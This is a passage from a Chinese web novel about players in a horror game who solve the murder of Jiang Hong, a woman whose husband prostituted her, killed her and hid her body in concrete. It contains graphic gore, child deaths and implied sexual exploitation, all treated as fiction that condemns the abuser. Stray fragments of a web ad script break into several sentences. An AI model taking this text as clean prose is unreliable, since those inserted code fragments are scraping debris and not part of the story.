这张纸条上的胶带似乎粘到了什么黄色的东西,郝荨仔细检查后发现这是黄色的纸质纤维。 质地很特殊,像是……黄纸。 小余不可思议:“周志强这么爱他前妻吗?都要结婚了还跟人见面?” 这家伙有什么特殊癖好吗?都绿成千年王八了还要当舔狗? “爱?”郝荨不置可否,“或许吧。” 小余站起身,脸皱成一团。 腿麻了。 他痛苦地扶住墙,嘴巴还叭叭不停:“这周志强到底怎么死的啊?他说会解决……是说他前妻一直来找他的事吗?” “对了,她为什么一直来找周志强啊?是看他要结婚了想找他复合,还是说因为孩子们死了来找他报复?” “难道说——是他前妻杀了他?” 郝荨皱着眉:“不太可能,他前妻个子不高,身形又瘦弱,普通女性的上肢力量本就比男性低,周志强又是水 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 泥厂工人,力气比一般男性更大,她想要压制并杀死周志强,甚至还要分尸几乎是一件不可能的事。” “难道是小梅?她是医护工作者,力气要大一点吧?是因为周志强出轨?” 郝荨摇了摇头,她头脑快速转动,线索像是一块块拼图般衔接组合,却怎么也无法拼成一块完整的图形。 “总感觉还缺了什么……” 她在屋内踱着步,明明已经有了很多线索,脑海中的拼图却怎么也拼不上。 一只脏兮兮的玩具熊从斜里伸出。 郝荨回过头,是那个看起来神神秘秘的法瑟。 他没有说话,只用眼神示意她接过。 郝荨盯住那只熊看了一会儿,忽然想起什么。 “对了!这个检查了吗?” 小余眨眨眼,看了看308,又看回郝荨:“这不是看守者吗?” “但也没说它不是玩具?”郝荨捏了捏玩具熊的耳朵。 308纹丝不动,仿佛在挂机。 或许是灯下黑,他们一开始都没把这位GM(游戏管理员)当成副本内容看待,郝荨摸索了一下308的四肢,又用力按了按它的肚子—— “有了。” 308是那种老式的玩具熊,没有拉链,但背后的缝线处缝隙很大,似乎是后来再缝过。 郝荨去厨房里拿了把生锈的菜刀,费了好半天劲才把它破开。 一团团打结的棉花中藏着一个小小的塑料袋,袋子里是三小叠的整整齐齐的纸币,两毛、五毛、一块……加起来总共三十块钱,分别用一小块皱巴巴的报纸包住。 郝荨抹平报纸,凑近仔细检查,分别从标题正文中找到了报纸日期:六月三日、六月八日、六月十一。 她举到小余面前:“闻闻看。” 小余低下脑袋,像只大狗似的猛嗅了几下,苦着脸开口:“有点恶心,是那种烂掉的水果蔬菜味,好像馊了!” 郝荨若有所思地收回,盯着报纸上面潦草的“等我”、“很快”、“最后三天”几字,这笔迹粗糙生硬,笔画还有些错漏。 与周志强和小梅的都不一样。 “啊——!” 小余伸手抓住头发一顿乱搓,成功把那头卷毛变成了鸟窝。 他可怜巴巴地望向窗外:“这不是F级副本吗?怎么这么难啊!” 小余哭丧着脸,开始为自己黯淡无光的未来担忧。 他这张脸看着普普通通,只有一双眼睛眼尾下垂,像是圆润的狗狗眼。 郝荨盯着那双眼睛看了又看,放柔声音耐心解释:“其实这道题不算难,题目中只有两个对象——‘我’和‘兔子’,而副本中最主要的人物只有三个大人和四个孩子,排除掉几乎没有线索的孩子,也不过就是六种排列组合而已。” “运气好的话,猜也能猜中。” 听到这话,小余更加苦涩。 他的运气…… 郝荨继续引导:“无论是副本名字还是最终问题,关键都在于这只‘失踪的兔子’。” 小余眉头紧锁,努力回忆题目—— “所以,失踪的兔子是周志强前妻吗?” “如果游戏没有故意打反逻辑的话。” 郝荨抬起手,不自觉地敲击墙壁,她有种不太好的预感。 ……希望是她的错觉吧。 5. 兔子之家03 郝荨思索道:“以咱们目前的线索来说,这三个大人的结局里,周志强死亡,小梅虽然暂时未知,但婚礼没有中断的迹象,足以说明至少到婚礼前,她还没有失踪,唯一行踪成谜的就是这位前妻。” “小梅的线索中也提到前妻‘逃跑’,与题目中‘逃跑的兔子’的一致,所以,前妻就是这位‘兔子’女士,这道题考验的并不是‘兔子’身份,而是‘兔子’究竟去哪了。” 她靠墙站稳:“308,我要使用第二次提问权限。” “题目中的‘兔子’女士——周志强的前妻,是否因为一些客观原因,才没有在约好的时间来接她的孩子们,比如——” “死亡?” “啊???”小余开始怀疑人生。 就好像一起考试的学霸,他第一题还没写完,学霸已经开始做最后一道大题了。 他真诚发问:“大佬,我们做的是同一套卷子吗?” “没有没有,我只是一个平平无奇的打工人而已。” 她解释道:“线索里如果有数字出现,那多半就说明时间线很重要——” “六月一日:报纸爆出周家四个小孩都是周志强所生这件事。” “六月一日到三日之间:前妻逃跑。” “六月三日、六月八日、六月十一这三天前妻回家看了小孩,并且留下了三十块钱,和语焉不详的三句话。我推测,她应该是想带孩子们一起走,毕竟这几个孩子虽然和周志强没关系,却是她亲生的。” “但六月十四日时,也就是报纸线索的‘三天后’她并没有出现,而第二日,周志强就和小孩们一起煤气中毒入院,孩子死亡,只有周志强生还。” 她看向墙上的结婚照,那上头的周志强表情淳朴憨厚,带着淡淡的笑意。 郝荨却只觉得浑身发冷。 “她当然也可能是被什么耽搁了,但如果她真的很爱孩子,爱到愿意一个人辛苦地抚养他们,怎么会在孩子死去后毫无动静,再也没出现呢?” 小余疑惑:“没出现吗?小梅不是说她和周志强藕断丝连吗?” 郝荨视线转向他:“你再仔细回忆一下,无论是夜半的敲门声、若有若无的跟踪,还是掉落的玩具,都只是小梅的猜测,实际上她并没有见过前妻本人,所有故事里,唯一能确认的,只有周志强。” 【关键问题触发,问题二回答——是。】 尖叫声和笑声再度响起,屋子猛地晃动了一下,几人眼前一黑,再度亮起时,一股浓郁的血腥气传入她的鼻尖。 屋子又变了。 不知道灯是坏了还是没电,郝荨拉了几次开关也没有反应,房间像是加了一层冷色滤镜,看起来阴冷又可怖。 寒意从四面八方升起,整个人像是在冰窖里似的。 郝荨抱住手臂,试图缓和下被激起的鸡皮疙瘩。 某种粘稠的深红色液体从关着的卧室门下挤出,像是某种有生命的动物,缓慢向他们的方向蠕动着。 液体中央浮起一本薄薄的日记本。 苍蝇绕着郝荨二人转了一圈,又想往法瑟处飞去。 但不知怎的,苍蝇在空中顿了顿,随后跟有鬼在追一般飞快飞回,最终落在了日记本上。 郝荨看着血泊中的日记本,缓缓转头看向小余。 小余不可置信地睁大双眼。 接着,他也缓缓回头看向一直没动静的法瑟。 法瑟:? 法瑟眯起眼,盯—— 郝荨又缓缓收回脑袋,做作地叹了口气:“唉……我来吧。” 她动作极其缓慢地伸出手去。 明明在笑,眼中却满是愁苦,任何人看到这个表情都无法坐视不理。 小余:“别别别,还是我来吧!” 怎么能让女孩干这种脏活累活呢! 清澈单纯的男大学生一把拦住她,捋起袖子。 郝荨立刻睁大双眼,用一种无比信赖的目光看向他。 小余油然而生一股豪气:“放心吧!我可以!” 他龇牙咧嘴地去伸手去拿日记本。 刚一拿到就一个弹跳跳回郝荨身边,像只大袋鼠。 郝荨捏着那本日记本甩了甩,封皮上写着一个没见过的名字——蒋红。 笔画生疏,还有许多错字。 但看得出来,日记本的主人一笔一划写得很认真。 她刚翻开第一页,屋外突然响起阵阵窃窃私语,找不到具体方向,像是从四面八方传来似的。 【韭菜对身体好,买点给志强和领导补身体,存:60。】 ——“周志强人缘这么好,你怎么不学学人家,领导每个礼拜都来找他呢!” 【酒、烟、半只猪耳,郑工今天来找志强,出了五十块。】 ——“我听说隔壁那个蒋红,作风……呵,你离她远点啊!只是可怜了志强了,人这么好,怎么找这么个狐狸精!” 【舅公说,我没文化,志强能看上我是我的福气,副厂长带了条鱼,做红烧吧,存:100。】 ——“这周志强怎么回事,大家一起进的厂,怎么他升这么快?” ——“我听说呀……” 【就叫他别来了,他还……唉,十五块,给蓉蓉买个竹蜻蜓吧。】 ——“你别说,蒋红这娃都生俩了,身材还这么好,也不知道老周怎么养的。” ——“什么他养的,你不知道吗?楼上老李,喏,这不就去给人家送东西了?” …… 一开始郝荨没看懂,日记中的话语给人一种怪异感,总觉得哪里不对。 她来回看了几遍才终于明白这是什么。 压抑不住的怒火从她心底冒出:“垃圾!” “什么意思?” 小余一头雾水:“怎么又冒出来个老李……蒋红和老李是一对,老李杀了周志强?不对啊,他们都离婚了,杀他干嘛?” “离什么婚?他们这个年代结婚已经要打结婚证了,蒋红是跑路的,怎么离婚?他们就没领过证!” 郝荨愤愤地踹了一脚墙壁。 “啊?那这是什么意思,邻居造谣吗?可DNA不会出错吧?” 小余不知道她在气什么,却依然下意识缩起脖颈。 郝荨指向日记本,手指因为用力绷紧。 “你仔细看,九十年代初的物价,烟酒和猪耳加起来能要五十?” 小余一懵,那时候他还没出生。 但即使如此,他也记得自己小时候一毛钱能买五颗糖。 这样看来,这些数字确实有问题! 无名火燃烧在她的四肢百骸,郝荨根本无法控制自己的情绪,她大声骂道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' : “为什么总有男人来找周志强?!为什么每次他们来日记里都有金钱记录?!为什么周志强要上那么多晚班?!为什么每篇日记都是jiu开头?!这是日记吗?!这是蒋红在喊救命!!!” 一股强烈的恶心感涌了上来,她攥紧笔记本,青紫色的血管几乎要暴起。 周围仿佛有无数男人在笑,肆意又放荡,恶心的要命。 眩晕袭来,生理性泪水从眼角渗出,郝荨几乎要站立不住。 忽然,她手中一空,日记本消失不见。 她泪眼模糊地看向夺走日记本的法瑟。 法瑟将面罩往上拉了拉,眼底毫无情绪。 既没有悲悯可怜,也没有嫌弃与愤怒。 看着她的眼神和看小余,甚至是看床上的尸体没有任何分别。 这让她稍稍平静了些许。 法瑟:“把血擦干净,站远点。” 小余连忙把郝荨扶到儿童房,帮她将指尖的血液擦干净。 漏风的窗户吹进一股冷风,将一直盘旋在周围的血腥气吹散,郝荨脑袋陡然一清,后知后觉地开始害怕。 “……我怎么了?” 她往日虽不像人机那样情绪稳定,却也不会有如此大的情绪起伏。 连落泪都少有,这样的状态实在奇怪。 法瑟翻着日记,随口道:“被这东西影响了。” “我知道!” 小余举手抢答:“这是怨念,对吧!” 他眼睛亮亮地看向法瑟,法瑟翻页的手顿了一下:“嗯。” 郝荨疑惑:“怨念?” “据说每场游戏里都有一个怨念核心,它会释放怨念附着在很多东西上,玩家接触久了就会被影响,严重的话还会被污染,很危险!” 郝荨懂了。 如果把神明看做是程序员的话,这些游戏就是祂制作的小游戏,每个小游戏都有一串核心代码。 这串代码会随机携带病毒,她就是被病毒影响了。 她按了按钝痛的额角。 虽然已经远离了日记本,但刚刚那股绝望又愤怒的情绪依然徘徊在她心头久久不散。 她终于明白了为什么这个副本叫做“兔子之家”,这“兔舍”中住着的,可不就是这只沉默的、繁衍的“母兔”。 小余忽然反应过来:“所以……周志强在卖老婆?!人渣啊!” 这根本不是蒋红的日记本,而是她的受难记录! “那四个孩子也是这些领导啊厂长的?蓉蓉是老李的?” “嗯。” 郝荨望向窗外,外头雾蒙蒙的,什么也看不到。 蒋红在屋里看到的,也是这样的景象吗? “难怪衣物玩具有好有坏,先前我就在想,像308这么大的玩具熊,周志强一个普通工人怎么买得起,原来是这样。” 郝荨冷笑:“他可真是个‘好男人’!” 正骂着呢,她忽然觉得自己左侧的口袋被什么东西轻轻碰了一下。 她立刻回头,只看到一只飞快缩回的小手。 那只手骨瘦如柴,手指短短。 郝荨下意识摸了一下,那里只有一支破旧的竹蜻蜓。 她微微低头看向柜子的缝隙,缝隙中有什么闪了一下—— ——是一只黑色的眼睛。 6. 兔子之家04 似乎是害怕,那只眼睛往后瑟缩了一下。 “怎么了?”小余好奇询问。 郝荨抬头,发现法瑟也在看向这边,她迟疑了一会摇了摇头:“没什么,去主卧吧。” 说着,她装作无意般将竹蜻蜓遗落在柜子上。 卧室摆设还是那样,但床上的黑色残影成了真实的尸身肉块,切口非常不整齐,像是撕裂似的。周志强表情惊恐至极,他大张着嘴,眼泪鼻涕口水和血液一起糊了一脸,眼睛睁着,死不瞑目。 看到他这副痛苦模样,郝荨才终于解了气,虽然还是有些恶心,但能看到人渣死亡,她可以忍! 她能忍受,年轻的大学生却不能。 小余一秒都没待住就冲出去大吐特吐,吐得眼睛都红了,还不忘给郝荨比个大拇指。 姐,你是真牛。 “蒋红可能是14日来接孩子们的时候被周志强发现,周志强激情杀人——也或许他一开始就打算杀了蒋红,但故意等她逃跑后才杀她,这样无论蒋红的死有没有被发现,他都能声称自己不知情。” 郝荨思索着题目的后半段——【3,2,1,找到你了。】 既然周志强是“找到”蒋红,那他预谋杀人的可能性就更大,而既然是预谋杀人,那么,他一定考虑过尸体要如何处理。 从线索上看,周志强很擅长伪装,表面上是吃苦耐劳的老好人,在厂里上大家都不想上的夜班,对邻居和孩子也很好,还多次拒绝小梅的追求,深情又老实。 但实际上他心思深沉,能将这种事藏在这种筒子楼中一藏好几年,他一定对蒋红管理异常严苛,控制欲极强,他能在东窗事发后果断处理掉蒋红及孩子——这种人会将尸体藏在哪呢? “308,最后一次提问,蒋红的尸体是不是在——”她突然住口。 “在哪?” 小余抹抹嘴巴,怎么不说了? 郝荨没有继续问,而是望向另外两个玩家。 “迷雾游戏……没有危险吗?” 她是第一次进迷雾游戏,但按照无限流的套路来说,死上几个人根本不是什么稀奇事。 但这场游戏到现在,除了一点感官上的刺激外,一点危险都没有。 她试着将自己代入神明,如果她是神明—— 那危险,一定被她藏在了水面之下。 小余一怔:“不正常……吧?我的新手场游戏开局就有个新人不信邪,非说大家在骗他,跑到雾里死掉了,要不是那把有大佬在,我说不定也要交代在那!哇!那个BOSS真的太恐怖了,我跟你们说——” 玩具熊动了动四肢,从地上爬起来,似乎是不习惯肚子被掏空,走得摇摇晃晃,开口打断他: 【请玩家确认第三次提问】 郝荨快速头脑风暴,题目是以周志强视角来出的,但为什么前半段是“我”和“兔子”,后半段却变成了“你”呢?难道…… 【请玩家确认第三次提问】 她拿起一旁的锅盖试了试:“你们运动怎么样?” “还行?”小余不明所以。 法瑟没有说话,但他穿的是结实又耐脏的黑色机能服,看起来一锤一个小朋友。 【请玩家确认第三次提问】 玩具熊催的越来越急,机械音也越发高亢,郝荨心脏跳得飞快,她来不及解释,只迅速开口:“找个防身武器!” “啊?!” 小余这时候反应很快,反手掏出了自己的武器道具——一把长得很好看的钛合金……扫把。 【请玩家——】 “提问!题目最后一句中的【找到你了】,这个【你】……” “——指的是我们吗?” 法瑟将日记本放到一旁,四下看了看。 可能没找到趁手的东西,只好弯下腰,把手上的血迹用力擦在玩具熊身上,不小心把它推了个踉跄。 玩具熊:…… 它忍! 308深吸一口气,脸上浮现出诡异的笑容。 【关键问题触发,问题三回答——是。】 【附加题开启——】 【任务目标:存活至倒计时结束】 【限时:十分钟】 天花板上赫然出现了十分钟倒计时,字体血红。 令人牙酸的血肉黏合声在主卧内响起,一道阴影缓缓站了起来。 那是一个肉块黏合而成的“人”,脑袋斜斜的插在脖子上,“周志强”目光呆滞,身体不自然地后仰,他赤着脚踩在血泊之中,发出黏腻的血渍声。 郝荨放轻呼吸,给小余快速比了两个收拾。 小余点点头,握拳锤了锤自己胸口。 我懂,你放心! 他比了OK,随后举起扫把就向“周志强”冲去。 他用力踏地,挺身跃起,高举的扫把利刃般划下。 这下力道极大,郝荨几乎能看到扫把的残影从“周志强”正上方一闪而过。 酷炫得很。 ……然后打了个空。 “砰——” 小余重重摔落在地。 郝荨:? “噗。” 郝荨立刻转头,只抓到了法瑟快速低下的脑袋。 她无语:“我让你放风筝拖BOSS时间,我去找蒋红的位置!” “啊?” 小余一个鲤鱼打挺站起:“我还以为你在给我加油——” 话音未落,他眼疾手快闪身离开。 下一秒,“周志强”的重拳落下,墙壁出现了一道裂缝。 “这不公平!我打他就没实体,他打我就行,这不是耍赖皮吗!” 小余冲到308前抓着玩具熊的脖子疯狂摇晃。 308垂着头装死,无动于衷。 好在小余虽然打得不准,体能还不错。 他在屋中上蹿下跳,随地大小摔。 时不时还要嘲讽一下“周志强”,牢牢吸引住对方的注意。 郝荨把自己藏进门后,迅速回忆起308室的布局。 整套房间只有两间卧室和一个玄关,连专门的厨房都没有,只在门外走廊处有个炉子,厕所还是整层楼公用的。 以周志强的谨慎,绝不会在公共场合放置尸体。 如果她是周志强……那必然会放在最熟悉的地方,最好能每天见到。 所以,蒋红的尸体一定还在家中,甚至可能…… 就在他每天睡觉的卧室里! 郝荨俯下身,趁着“周志强”背对她的机会,偷偷潜入主卧。 这间卧室她先前进来过,非常狭小,只勉强塞得下床和衣柜。 衣柜她打开过,没什么问题,那就只剩下这张实木大床了。 她掀起床单,意外的是,这张床并没有床底,床的侧板直直垂到地面,连条缝隙都没有。 郝荨想起自己小时候睡过一种老式床,这种床会单独留出空间给人收纳或是藏东西,她试探着摸索了一番,果然! 接口藏在床垫下,这种床垫也是老式床垫,沉得要命。 郝荨好不容易才将将把床尾打开,她眯着眼睛往里看去,却没有发现尸体。 “靠!” 小余躲闪不及,被一拳撂倒,眼圈瞬间肿了。 “法瑟!” 法瑟刚想继续坐在他的小板凳上,就被叫住。 “别挂机了!帮帮忙!” 他身形一顿,下意识戴上手套。 随即他又是一愣,怎么回事? 法瑟皱起眉毛,难道这个玩家的天赋是精神控制? 也不知道大佬靠不靠谱,郝荨咬咬牙,干脆直接钻进 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 床尾。 可她把所有被褥都翻了一圈。 别说尸体了,连根头发都没找到。 她思考了几秒,忽然敲了敲收纳处最里头的木板。 “咚咚。” 实心的。 郝荨嘴角弯起,找到了。 真是聪明反被聪明误,周志强还以为实心床就不会被人发现后头有东西。 但实际上却恰恰相反,木床是由很多块木板拼接而成,床头厚度一般不会超过20厘米,怎么会有如此实的声音? 实得就像是……水泥墩子。 “啊啊啊啊要死要死要死要死!”小余大叫。 郝荨手忙脚乱地顶开床垫,一道身影从她眼前飞过,撞击到墙面又落下。 “咳咳……” 小余撑着扫把站起:“我没事!你慢慢找!” 说完,又咬着牙冲了上去。 郝荨低声骂了一句,大喊道:“308!交卷了!” “失踪的兔子在床底夹缝里!” 【嘟!嘟!】 玩具熊从肚子里掏出一只彩色小喇叭,用力吹了吹: 【恭喜玩家,回答正确。】 “通关了?!”小余惊喜地看向郝荨。 他整张脸上都是灰,眼角青了老大一块,但他不以为意,露出了个大大的笑容,向郝荨走来。 郝荨也笑了起来。 突然,小余表情一变。 “小心!” 一切仿佛进入了慢动作,郝荨意识到了什么。 一股气流从她头上划过,凉凉的,她心下一寒,凭借本能抬手护住了脑袋。 下一瞬间,巨响袭来,大量尘雾猛地遮住众人视线。 “玛弥!” 小余惊恐地睁大双眼,烟雾渐渐散去,房间中央却没有出现他想象的画面。 法瑟低着头,看不清神色。 一只手轻松撑在头顶,与皮质半指手套相接的是卧室那座沉重的实木衣柜。 “周志强”试图用力压下,肉块黏合处被再度撕开,粘稠的血液顺着身体滴落在地,衣柜却分毫未动。 郝荨没有察觉到疼痛,她小心翼翼地抬起脑袋。 没死啊? 她都许完愿了! 要是有下辈子,希望她能一出生就是个混吃等死的废物二代。 结果一睁眼,发现还是得继续打工。 她发自内心地叹了口气。 法瑟:? 法瑟倦怠的眼中满是困惑,但郝荨现在显然没有心情解释。 她转向在旁边旋转跳跃的308:“怎么回事?游戏怎么还没结束?” 【附加题尚未结束,考核继续。】 此刻倒计时还有五分钟。 衣柜发出不堪重负的“嘎吱”声,郝荨立刻问法瑟:“你还行吗?” “男人怎么能说不行!” 小余在一旁大声拱火。 法瑟:…… “嗨,是我不懂事了,人法瑟可是单抗BOSS的大佬!怎么会不行!” “就是就是!” 法瑟开始觉得自己的脑袋隐隐作痛。 他手臂青筋暴起,一个用力将衣柜掀翻在地。 郝荨一秒转身,丝毫不带犹豫地躲进儿童房里。 小余在门口顿了顿:“他真的行吗?不然还是去帮一下他?” “你去?” 郝荨对自己的战斗力很有自知之明。 她要是上去,指不定就是法瑟一个人抗她和BOSS俩人了! 小余还在犹豫,门口忽然飞过去一个残影。 法瑟被一拳打到了墙上。 法瑟:…… 郝荨:…… 沉默,沉默是今晚的康桥。 “快快快!去帮忙!” 7. 兔子之家05 法瑟难得开口,“啊”了一声。 “忘了它没有实体。” 这时,郝荨恍然想起自己在大厅抽到的武器道具。 弗兰德斯之木仓,不就正好克制BOSS吗! “周志强”握紧拳头飞扑上来,法瑟一个后撤步,恰巧躲过对方的攻击范围。 “我来帮你!” 小余挥舞着他的扫把冲了上去。 郝荨一个翻滚,单膝跪地,单手持木仓,另一手托在木仓下,姿势非常标准。 瞄准的那一刻,她的右眼内陡然开出一朵花苞来,花瓣血红——是一朵弗兰德斯红罂粟。 她神色镇静,对着“周志强”就是连发五弹—— 不出所料,一颗没中。 郝荨气急败坏,什么破武器! 连个瞄准挂都没有! “砰!” 总算是中了一木仓! “周志强”身体猛地弹了一下,他的左臂被郝荨击中,本就是勉强黏合的手臂被子弹炸开,整块落地,似乎怎么也流不尽的血液喷涌而出,在新粉刷的墙壁上溅开无数血花。 血花落在红双喜上,又向下滑落。 像一张哭泣的脸。 郝荨正要乘胜追击,却见“周志强”嘴角诡异地弯起,她心下一惊。 地上的手臂弹动了两下,有什么细细长长的东西从里伸出,像是肉色血管,只一眨眼的功夫就与他的身体连接起来,血管不规则地鼓动着,看的人直犯恶心。 恍惚间她好像看到“周志强”的背后也有血管连到了天花板,顺着天花板延伸出去,血管一阵蠕动。 表皮裂开,探出了一个个如同脓包状的突起。 断裂的手异常灵活地在空中甩动,给法瑟和小余带来了巨大的麻烦。 郝荨甩了甩被后坐力震得发麻的手臂,重新举起瞄准,但“周志强”似乎知道了这玩意的厉害,格外小心。 他甚至无师自通地学会了绕着两人的位置追打,确保郝荨每次瞄准时都会被他们挡住。 这样不行。 后脑隐隐作痛,郝荨猜测这或许是理智开始透支了,她现在就像是熬了一个通宵第二天还要考试那样头痛。 忽然,柜门动了。 郝荨一愣,回头看去,和一双惊恐的眼睛正好对上。 那双眼睛的主人是一个干瘦的小女孩,她一手死死拽着门,另一只手里拿着那只破旧的竹蜻蜓。 郝荨知道那肉色的血管是什么了。 是某种连结,或许可以称之为“脐带”。 “周志强”长出了他根本不该拥有的“脐带”,用这“脐带”将他和四个孩子连结在一起。 本应是母体供养孩子的“脐带”被他变成了反向供养自己。 郝荨看向小小的柜子里躲藏着的几个男孩,他们身形消瘦,皮肤发红,嘴唇更是不自然的樱桃红。 几人怯生生地看着郝荨,还忙不迭地将妹妹塞到身后。 郝荨深呼吸一口气,掏出盗心送的糖果罐,闪亮亮的糖纸瞬间吸引住了孩子们的视线。 “别害怕,我是来帮助你们的,你是蓉蓉对吗?” 叫做蓉蓉的小女孩盯着她看了一会儿,又看了一会儿在外头的法瑟和小余,她鼓足勇气将头探了出来: “阿姨,我们不要糖,你能救我们妈妈吗?” 郝荨:…… 她表情一时没克制住,有些扭曲:“……如果你能叫我姐姐的话。” “真的吗?” “姐姐,你真的能救妈妈吗?” 几个小孩眼睛骤然亮起,叽叽喳喳地冲出柜子,将郝荨团团围住,最大的男孩谨慎地将房门关起,蓉蓉小心拽了拽她的衣服。 郝荨蹲下,把糖果罐递给她,他们长相虽然有些可怕,心性却和普通的人类小孩一样,蓉蓉咽了口口水。 “要帮你们打开吗?” 蓉蓉摇摇头:“留给妈妈吃。” 郝荨忍不住伸手去摸她的脑袋却摸了个空。 有什么在她的脑中一闪而过,她迅速反应过来:“你们能碰到‘周志强’?” 小孩们面面相觑,蓉蓉小声道:“我们打不过他……” “没关系,你们听我说……” 门外,“周志强”似乎也发现只有小余是软柿子,不顾法瑟的挑衅,闷头追着小余打。 小余瞅准机会想要逃离,却被“周志强”一把扯回按在墙上。 “周志强”掐住他的脖颈,小余拼命挣扎。 上方血红的倒计时清晰可见: 【01:08】 “救救我救救我!” 法瑟站定,低头看向左臂,面罩下,他的脸很臭。 “F级BOSS……” 他伸手摸上骨缝,五指并拢,指尖按住血肉,几乎要刺破皮肤。 “周志强”握拳,断掉的右手延伸拉至最远,眼看下拳头即将落下—— “就现在!” 儿童房的门被打开,门内冲出来四个小小的身影。 他们速度极快,身形灵敏,转瞬间已经在屋内跑了几个来回。 “周志强”一愣,这才发现那些飞舞的“脐带”不知何时已经在他身上绕了一圈又一圈。 四个小孩快速绕着他完成最后一圈束缚,紧接着又跳到他身上毫无章法地啃咬,郝荨抓住时机,抬手举起木仓。 移动靶不好打,固定靶她还打不中吗! 玄关处的窗户在刚才的打斗中被打碎,窗外的大雾被风吹进,刮得报纸呼啦作响。 她正对着窗户站定,宽大的衣服伴着长发在风中翻飞,她左眼轻合,右眼中的弗兰德斯瞬间绽开—— “砰!” 子弹出膛,她立刻感觉不妙。 歪了! 正要再补,一个黑影如离弦的箭般冲了出来。 法瑟一脚踢起小板凳,再一个旋身飞踢—— 板凳狠狠撞击在“周志强”的脑袋上,正好将他的头向右扭了十五度。 子弹正中眉心。 【倒计时结束】 【恭喜玩家通关[兔子之家]】 【副本将在三十分钟后关闭,玩家可选择提前离开,或时间结束自动传送】 玩具熊似乎很开心,一直在屋内边跑边“嘟嘟”吹着小喇叭。 郝荨头晕得厉害,太阳穴突突的疼,她缓了口气,夸奖道:“法瑟,你太厉害了——你手怎么了?” 他的手肘内部汩汩往下流血。 受伤了? 法瑟欲言又止:“……没事。” 他一把捏住那只到处乱跑的玩具熊,用它把手臂上的血液擦得干干净净。 郝荨没有太在意,按神使的说法,只要还有一口气,出本的瞬间玩家的身体就会得到神明的恩赐,不仅伤口全消,还会得到各方面素质的全面提升。 她走到“周志强”身边,他睁着眼睛,一副死不瞑目的模样,几个小孩恶狠狠地咬住他的血肉,恨不得生啖其肉。 “好啦,松口。” 她戳了戳蓉蓉的脸,虽然没有实体,但小女孩却仿佛感觉到了温度一般:“别什么脏东西都吃啊。” 蓉蓉一愣,随即“呸呸呸”地吐了一地口水。 “……啊!” 她大叫一声。 那条连结着蓉蓉的“脐带”像是失水的树根,变得皱皱巴巴,萎缩然后脱落,其余几人也依次脱离“脐带”的掌控。 郝荨弯起嘴角,眼睛笑眯眯的:“走吧,去救你们的妈妈!” 那张大床异常结实,拆起来费劲得很,但好在刚才大家和BOSS打斗时上蹿下跳的,裂开了一条长长的缝隙。 小余拿着扫把当杠杆,好不容易才把床板给撬开,入目一片金黄:“什么东西?” 床板背面贴满了密密麻麻的黄色纸张,纸张上绘制着朱红色的图案,竟然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 全是符纸。 “周志强搞的?” 郝荨扯下一张细瞧:“好像是镇压的。” 她兼职的时候也打过几个恐怖游戏,其中一个是硬核的中式恐怖,里头的符咒全都是现实存在的,这个也在里头出现过。 “小梅说半夜有敲门声,还老感觉有人在偷看她,她怀疑是周志强和蒋红藕断丝连。但那个时候蒋红已经死了,再考虑到掉落的玩具和周志强的死状,多半是出现了科学无法解释的神秘事件,周志强应该也发现了这些事,所以才去求了符咒镇压蒋红。” “只是他没想到,”郝荨看向趴在床边,眼神充满渴望的小孩,“闹鬼的根本不是蒋红,而是他从来没放在眼里的孩子们。” “啊?为什么啊?” “蒋红的心愿是带着孩子们远走高飞,离开这个人渣,她希望她们能有光明的未来,就算她死去化成怨念,也不应该是将大家困在这间充满了痛苦回忆的‘兔子之家’里。” 郝荨看着贴满喜字、粉刷一新的房间,又看向符纸下被浇筑的满满当当的水泥块,垂下眼帘。 “那周志强怎么死的,难道是……他们?” 小余震惊地望向一脸天真懵懂,仿佛不知道他们在说什么的蓉蓉。 “照理说,蒋红死后,周志强本可以不杀孩子们,他完全可以继续抓着孩子们问他们的生父要钱,我猜,应该是发生了什么事,才导致他对孩子们痛下杀手,比如说——” “我们看到了呀。”蓉蓉把脑袋压在手臂上,语气稚嫩。 “看到什么?”小余下意识问。 蓉蓉“咯咯”笑了几声,天真无邪道:“看到他把妈妈杀掉了。” “我靠……” 小余背后一凉,打了个冷战。 他强行移开视线:“……难怪他死这么惨,我说呢,怎么看起来像手撕烤鸭,还有点饿了。” 郝荨:? 叹为观止,这就是大学生的胃口吗? “来帮忙!” 两人将镇压符纸全部扯开,剩下个方方正正的水泥块。 几个小孩上前一通爆啃,啃半天也没搞开。 法瑟揪着看守者在角落说话,忽然觉得有点凉飕飕。 他扭头一瞧,玛弥正捧着她那张脸猛盯自己,她没有说话,眼睛却扑闪扑闪地冒着光。 在她旁边,一个小小的脑袋冒了出来,眼睛圆圆,是那个瘦巴巴的小女孩。 紧接着,蓉蓉的身边也探出了123个小脑瓜,又过了几秒,小余也抱着自己的脸强行塞到几人中间,六双眼睛就那么可怜兮兮地看着他。 他拳头硬了。 郝荨:“法瑟大爷,有办法吗?” 两分钟后,水泥块从中间彻底断裂,一个女人推开碎块坐了起来。 瓜子脸、柳叶眉,笑容温柔。 “妈妈!” “妈妈妈妈呜呜呜……” 蒋红边笑边哭,她皱着脸,哭得很丑,郝荨却感觉自己鼻子发酸。 小余看不得这种场面,一把鼻涕一把泪地跟大家告别,退出了游戏。 叫法瑟的神秘玩家也不知何时离开了副本。 蒋红抽噎着这个抱抱,那个摸摸,最终将他们揽在一起:“别怕,我们一起去投胎,不管你们下辈子还是不是妈妈的孩子,妈妈都一定、一定会找到你们的!” 蒋红知道,自己只是安慰他们。 怨念是没有办法投胎的,他们只能一遍又一遍,在游戏里重复一样的人生。 运气好,或许能像这次一样在结局处和孩子们见一面。 运气不好…… 她就只能在冰冷的水泥块中…无止境地等待下一次的重逢。 郝荨灵机一动,谁说乐园一定要招活人的? 她的亲亲好员工,近在眼前啊! “别下辈子了!” 她热情握住蒋红的手:“迷雾乐园招新了解一下?” 8. 天赋:资本家 【不可以!】 神使暴跳如雷,黑色的眼球在她眼前疯狂弹跳。 【我要上告!你违反玩家规定!】 郝荨将害怕的蒋红一家往身后一揽,无辜道:“哪里违反规定?” 